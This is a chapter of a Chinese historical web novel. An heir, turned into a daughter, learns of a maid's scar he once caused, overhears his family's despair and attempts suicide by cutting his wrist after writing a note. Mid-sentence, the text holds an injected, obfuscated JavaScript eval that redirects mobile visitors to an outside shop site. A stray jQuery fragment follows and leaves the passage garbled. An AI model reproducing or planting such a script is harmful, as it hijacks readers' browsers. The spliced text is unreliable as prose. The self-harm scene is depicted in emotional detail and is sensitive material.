（弘昌二十二年，三月廿三。）
第二日清晨，苏时醒得很早。她躺在柔软的被褥中，睁眼看了许久，仍觉这间屋子与自己毫无关系。
春桃端水进来，见她已经醒了，脚步顿了顿。
“小姐今日要同老爷、夫人、大小姐一道用早膳。”她低声道。
苏时指尖在被面上蜷了一下。
春桃没有再说，走到衣架前取了鹅黄色襦裙，又捧来梳匣。她替苏时更衣时，袖口往上挽了一截，露出左手手背近腕处一道旧疤。
那疤从手背斜斜拖到腕侧，颜色比周围皮肤深，皮肉长合得并不平整，像曾被锋利的碎瓷生生划开过。苏时看见了，目光便停在那里。
春桃察觉后，立刻将袖口放下，动作快得近乎慌乱。
那只手藏回袖中，苏时眼前却还留着那道疤的形状。
苏时问：“你的手怎么了？”
春桃低头系裙带，手指明显慢了一拍。
“旧伤。”
“怎么伤的？”
春桃把裙带系好，退开半步，垂着眼。
“摔的。”
屋里安静了一会儿，苏时一句话都没有说，只是盯着春桃。
春桃抬眼看她，很快又低下头。她嘴唇动了动，话在喉间转了几回，最后仍咽下去。
苏时坐在妆台前，铜镜里映出一张苍白的脸。发还未梳，乌黑一片披在肩后。她看了镜中人一眼，又看向春桃。
“我以前伤过你？”
春桃脸色一下白了。
苏时心口微微一沉。
“那道疤，是我弄的？”
春桃跪了下去。
膝盖碰到地面，声音很轻，苏时听得清清楚楚。
“小姐，夫人吩咐过，过去的事不许多提。”
“我问你。”
春桃低着头，双手攥在膝上。过了许久，她才开口。
“有一回，少爷喝多了，回来后在房里摔东西。茶盏、酒壶、砚台，摔了一地。奴婢进去收拾，少爷挥手时碰翻了架上的茶盘，碎瓷划到手上。”
她停了停，声音更低。
“少爷第二日醒来，不记得了。”
苏时坐在那里，手指搭在妆台边缘。
春桃没有哭，也没有抬头。那种平平的声音，比哭更叫人难受。
“那时奴婢年纪小，怕得很。夜里听见少爷回来，先要看他脚步重不重，身上有没有酒气。若是喝多了，便不敢进屋。可不进去也不成，夫人会问，老爷也会问，房里总要有人伺候。”
苏时轻声问：“你恨我？”
春桃的手攥得更紧。
“奴婢不敢恨主子。”
“那就是恨。”
春桃猛地抬头，眼睛发红。片刻后，又慢慢低下头，声音一点点哑下去。
“从前的少爷不好伺候。府里人都知道。少爷读书读不进去，老爷罚，夫人哭，大小姐冷眼看着。少爷心里不顺，便往外跑，喝酒，赌钱，回来后又摔东西。我们这些下人见了，只能躲，躲不开就受着。”
她吸了一口气，把眼泪压了回去。
“可现在小姐什么都不记得，奴婢又能说什么？奴婢看着小姐，也害怕。怕说错话，怕夫人怪罪，怕大小姐知道奴婢乱讲，怕小姐又出事。”
苏时低头看自己的手。
那双手纤细，干净，连指甲都被春桃昨日修得圆润。她看不出半点过去的痕迹。
春桃跪在地上，继续道：“奴婢有个弟弟，今年刚开蒙。阿娘总说，家里若多攒些银子，弟弟将来兴许也能读几年书。奴婢在府里当差，不求别的，只求安安分分拿月钱。少爷从前闹一回，底下人便跟着提心吊胆一回。小姐，奴婢说这话僭越，可奴婢也是人，也会怕。”
没有人安慰谁。
屋里水盆里的热气渐渐散了，铜镜蒙上一层薄薄的雾，又慢慢淡去。
苏时看着春桃手背上那道被袖口盖住的疤，心里空出一块。
她想说“对不起”，可话到了嘴边，又觉得轻薄。
她连那一日都不记得。
春桃因她受过的伤，在她这里只剩一句迟来的询问。
外头有丫鬟轻声催：“小姐，夫人那边已经备好早膳了。”
春桃立刻擦了擦眼角，起身替苏时梳头。
木梳从发间一下一下滑过。两人都不再说话。
苏时看着镜中渐渐成形的发髻，看着鹅黄色裙摆铺在膝上。她方才听见的每一个字，都贴在身上，比这身衣裳更紧。
到了花厅，早膳已经摆好。
苏景行坐在主位，神色沉肃。林青卿坐在一旁，眼下青影未消，见苏时进来，仍勉强露出一点笑。苏婉仪坐在另一侧，衣裙素净，手边放着一只白瓷茶盏。
苏时在春桃扶持下入座。
桌上热气氤氲。粥、点心、小菜摆得齐整，银筷搁在箸枕上，半点声响也无。苏时坐在自己的位置上，背脊不敢靠椅，手也不知该往哪里放。
林青卿替她盛了半碗粥。
“时儿，先喝一点。”
苏时伸手去接。瓷碗温热，碗沿贴着指腹，她的手轻轻发颤。
苏景行看了她一眼。
那一眼很短，苏时仍低下了头。她记起春桃说的那些话：父亲罚，母亲哭，大小姐冷眼看着。她不知道自己该怎样坐在这里，不知道这一桌人看见她时，想起的是现在的苏时，还是那个醉酒摔东西、伤过丫鬟的苏家少爷。
林青卿还在柔声劝：“慢些，不急。”
苏时舀了一勺粥，送到唇边。热气扑上来，她喉间发紧，竟咽不下去。
苏景行放下筷子。
声音不重，花厅里的人都听见了。
林青卿忙看向他：“老爷……”
苏景行沉着脸，道：“吃不下便撤了。”
苏时手里的勺子停在半空。
林青卿脸色一白，立刻道：“她身子还虚，胃口弱些也是有的。”
苏景行没有再开口。
这沉默比责备更重。
苏婉仪抬眼看了苏时一瞬，将自己面前未动的甜羹推过去。
“换这个。”
语气平平，听不出亲近，也听不出厌烦。
春桃上前替苏时撤粥，袖口轻轻一晃，那道旧疤又从衣下露出一点。
苏时看见了。
她低下头，用银匙舀了一点甜羹。甜味漫上舌尖，她胃里一阵翻涌，仍强行咽了下去。
这一顿饭吃得很慢。
无人高声说话，瓷器相碰的轻响都显得刺耳。林青卿几次想替她夹菜，手伸到半途又收回。苏景行只用了几口便停筷。苏婉仪始终垂眼，偶尔饮茶。
苏时坐在他们中间，像坐在一张细密的网里。每个人都在忍耐，每个人都在小心。她的存在摆在桌上，谁也绕不开。
早膳散后，苏景行先去了外书房。林青卿叮嘱她回去歇着，话说得很软，眼底血丝清楚可见。苏婉仪离开前看了她一眼。
“回听雪轩。”
苏时点头。
可她没有听话。
花厅外回廊曲折，春光照在廊柱上，干净得刺眼。苏时沿着回廊慢慢往前走。春桃跟在后面，隔着几步，不敢太近。
“你别跟着。”苏时道。
春桃停住。
苏时没有回头：“我想自己走一会儿。”
春桃站在原地，手指不安地绞着衣角。
苏时继续往前。
她不认得路。苏府的月门、回廊、花木，在她眼里都相差无几。她走过一片芍药花圃，又绕过一丛竹影。越走越偏，四周声音渐低，只有风掠过竹叶，簌簌地响。
竹林另一侧传来低低的说话声。
苏时停住。
是林青卿。
“我知道不能再哭。”她声音沙哑，“可我一看见她，就想起从前的时儿。”
王嬷嬷劝道：“夫人，二小姐还活着。”
“活着？”林青卿轻轻重复了一遍，喉间像被砂纸磨过，“她连自己是谁都不知道。看见我，像看一个陌生人。穿着裙子坐在那里，连一口饭也咽不下。我想疼她，越疼，越像在逼她认下这个身份。”
竹影落在苏时裙上，一片一片晃动。
林青卿又道：“老爷心里也过不去。苏家唯一的男嗣，一夜之间成了女儿。外头若知道，朝中那些人会怎么说？将来宗祠怎么记，族里怎么认？苏家的脸面，又要往哪里放？”
王嬷嬷低声道：“眼下只能先瞒着。”
林青卿哽了一下。
“瞒着，关着，养着。”她声音轻下去，“外头不知道，苏家便还像从前那样。可老爷呢？苏家呢？”
苏时慢慢后退。
裙摆擦过竹叶，发出一点细响。竹林那边的人没有听见。
她转身离开，脚下有些发虚。
没走多远，外书房的院门出现在前头。门半掩着，里头传来苏景行的声音。
“继续查。”
福伯低声应着。
苏景行道：“郎中说无病，方丈说无邪，道士也说魂魄安宁。世上哪有这样的事？一道雷，便把我苏家的儿子劈成了女儿？”
苏时扶住廊柱。
屋里静了片刻。
福伯道：“老爷，能请的人都请过了。二小姐身上，确实查不出异常。”
苏景行的声音低了下去。
“查不出，才叫人无处下手。”
屋里静了片刻。
苏景行道：“若是病，还能治。若是祟，还能驱。人人都说她无事，岂不是说，原来的苏时当真没了？”
福伯不敢接话。
苏景行站在书案前，手指按着案角，声音低得发冷。
“苏家祖上封伯，传到如今，爵位没了，旧产散了，族中那些人看着还算恭敬，心里谁不清楚？若不是我这些年入仕，做到户部侍郎，苏家的门楣早就只剩一个空壳。”
福伯低声道：“老爷这些年撑得不易。”
苏景行闭了闭眼。
“我撑到今日，为的是什么？不是为我一个人的官位。户部尚书将退，陛下有意清理田亩赋税，若这一步走稳，苏家至少还能再立一代。可这个时候，苏家唯一的男嗣没了。”
他语气很平，平得叫人心里发寒。
“人还活着，名分却断了。宗祠怎么记？族谱怎么写？族里那些人怎么认？将来我百年之后，这个家交到谁手里？”
苏时扶着廊柱，指尖一点点凉下去。
苏景行继续道：“眼下只能先当女儿养着。衣食份例不能短，消息必须锁死。无事别让她出去见人，更不能叫外头知道苏家出了这样的事。”
福伯低声唤：“老爷……”
苏景行没有应。
苏时退了一步，脚跟碰到石阶，发出一声轻响。
屋里苏景行喝道：“谁？”
她转身便跑。
裙摆绊住脚踝，她险些跌倒，扶着墙才勉强站住。她不敢回头，也不知道该往哪里去，只沿着回廊往前，越走越快。
转过月门时，前方传来苏婉仪的声音。
“站住。”
苏时脚步一滞。
苏婉仪看着她满脸泪痕的模样，视线从她凌乱的发髻落到沾了尘土的裙摆。
“你又跑到哪里去了？”
“又”字很轻。
苏时却听见了。
苏婉仪道：“从前没人看着你，你便往外头跑；如今换了衣裳，换了身份，还是学不会听话。”
苏时怔怔看着她。
苏婉仪说完，才察觉这话太重。可话已经落地，收不回来了。
廊下风吹过，苏时裙角轻轻贴在腿边。她忽然觉得，自己并没有从过去那个苏时身上逃出来。
旁人只要看见她做错一件事，便能从她身后拖出那个旧人来。
苏时盯着她，声音发颤：“你也讨厌我。”
苏婉仪一顿。
苏婉仪伸手想拦她。
苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606067|205723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时避开那只手，转身朝听雪轩跑去。
她回到房中时，春桃正守在门口。见她满脸泪痕，春桃慌忙迎上来。
“小姐——”
“出去。”
春桃愣住。
苏时走进屋里，声音抖得厉害：“都出去。”
春桃跟进去半步：“小姐脸色不好，奴婢去请夫人。”
“出去！”
屋里的人全被吓住。春桃站了片刻，最后带着丫鬟退到门外。门合上时，她没有走远，仍守在廊下。
房中安静下来。
窗幔微微晃着，妆台上的匣子合得齐整，衣柜里挂满新裁的裙裳。床帐、屏风、软榻、绣帘，每一样都妥帖，每一样都像别人替她写好的命。
苏时站在屋中央。
她抬手按住胸口，指尖隔着衣料摸到自己急促的心跳。那声音一下重过一下，撞得耳膜发疼。屋里新木和熏香的气味原本淡，此刻却一阵阵往喉咙里钻，甜得发腻，腻得她胃里翻涌。
她踉跄着扶住桌角，弯下腰干呕了一声。
什么也吐不出来。
只有眼泪先掉下来，砸在浅色裙摆上，洇出几粒深色的小点。
春桃的声音在耳边响。
少爷喝多了，回来后在房里摔东西。
她眼前晃过那道旧疤。很深，很粗，狰狞在春桃手背近腕处。春桃把袖子放下去时的动作又轻又快，像已经习惯了把那道伤藏起来。
母亲的声音又压上来。
我越疼她，越像在逼她认下这个身份。
苏时扶着桌角的手慢慢收紧。胃里又是一阵翻江倒海，她低下头，看见自己身上的鹅黄色裙子，裙带系得端正，袖口垂得柔软，像有人把她从里到外裹好，只等她点头承认。
父亲的声音更沉。
苏家不能断在我手里。
她耳边嗡的一声，像雷又一次落下来。
屋顶没有裂，梁木没有断，可她眼前忽然白了一瞬。那道雷光仿佛仍在东厢房上方悬着，烧焦的木味从记忆空白处钻出来，混着妆台前的香粉气，叫她分不清自己究竟站在听雪轩，还是仍坐在那片焦黑的废墟里。
姐姐也在说话。
从前没人看着你，你便往外头跑；如今换了衣裳，换了身份，还是学不会听话。
苏时猛地抬头。
铜镜里的人也抬头看她。
那张脸苍白，眼眶发红，发髻已经跑乱了几缕。明明是她自己的脸，落在镜中却像另一个陌生人，被这间屋子、这些衣裳、这些规矩一点点装成了苏府二小姐。
她往后退了一步。
镜中人也退了一步。
她胸口一阵发紧，抬手抓住衣襟，用力得指节发白。可那股窒闷仍从四面八方涌过来。窗幔、床帐、衣柜、妆奁，全都安安静静地摆在那里，越安静，越像逼她低头。
她听见有人在心里一遍遍说：
你伤过春桃。
你让母亲哭。
你让父亲断了后路。
你让姐姐又看见那个她厌恶的人。
你不该在这里。
最后一句落下时，苏时扶着桌角的手松了。
她慢慢走到书案前。
案上摆着林青卿为她备下的笔墨。纸是新的，墨也是新的，镇纸光洁无痕，连笔架都小巧漂亮。所有东西都干净，干净得刺眼。
她坐下，握住笔。
手抖得厉害。
第一笔还未写成，墨已经滴在纸上，洇开一团黑。她盯着那团墨，看了许久，忽然觉得那颜色像东厢房地上烧过的痕迹，又像春桃袖下那道疤。
她低下头，开始写。
笔尖在纸上拖得很慢，字也歪斜，像每一笔都要从骨头缝里挤出来。屋外春桃似乎在唤她，她听见了，又像隔着很远的水声。
她没有应。
她只一笔一笔写下去。
我不知道我是谁。
不知道为何醒来。
伤了春桃。
让母亲哭。
让父亲没有了儿子。
让姐姐想起她厌的人。
我若不在，便都干净了。
不要怪春桃。她没有错。
纸上墨迹断断续续，有几处被泪水晕开。写到最后，她停了很久，没有落款。
她不知道该写什么名字。
门外，春桃轻轻唤她。
“小姐？”
苏时没有应。
她拉开妆台下的小抽屉。里面放着针线、剪子，还有一柄裁布用的小银刀。刀柄很凉，握在手里时，冷意沿着指尖慢慢往上爬。
她坐回书案前，将那封短短的字压在砚台下。
她把袖口往上推了一点。
门外春桃又唤：“小姐，奴婢进来了？”
苏时垂眼看着自己的手腕。
那上面干干净净，没有旧疤，也没有记忆。
她想，春桃的疤还在。
过去的苏时留下的东西，都还在别人身上。
她握紧了刀。
银光在腕间一闪。
门外传来春桃推门的声音。
“小姐？”
下一刻，铜盆坠地，水泼了一地，春桃的尖叫划破了听雪轩的寂静。
丫鬟们撞开房门时，苏时已经倒在书案旁，鹅黄色衣袖被血浸透。那封字迹歪斜的短笺压在砚台下，边角沾了一点红。
听雪轩乱了起来。
有人奔去请郎中，有人去报林青卿，有人跌跌撞撞往外书房跑。春桃跪在地上，双手按着苏时的腕口，哭得发不出完整的声音。
“小姐……小姐……”
苏时没有睁眼。
窗外春光正好，竹影落在新换的窗纸上，一枝一叶都清楚。屋里新木和熏香的气味，被另一种腥气慢慢盖住。
那间为二小姐收拾好的屋子，第一次乱得不成样子。
——————————————————————————————————————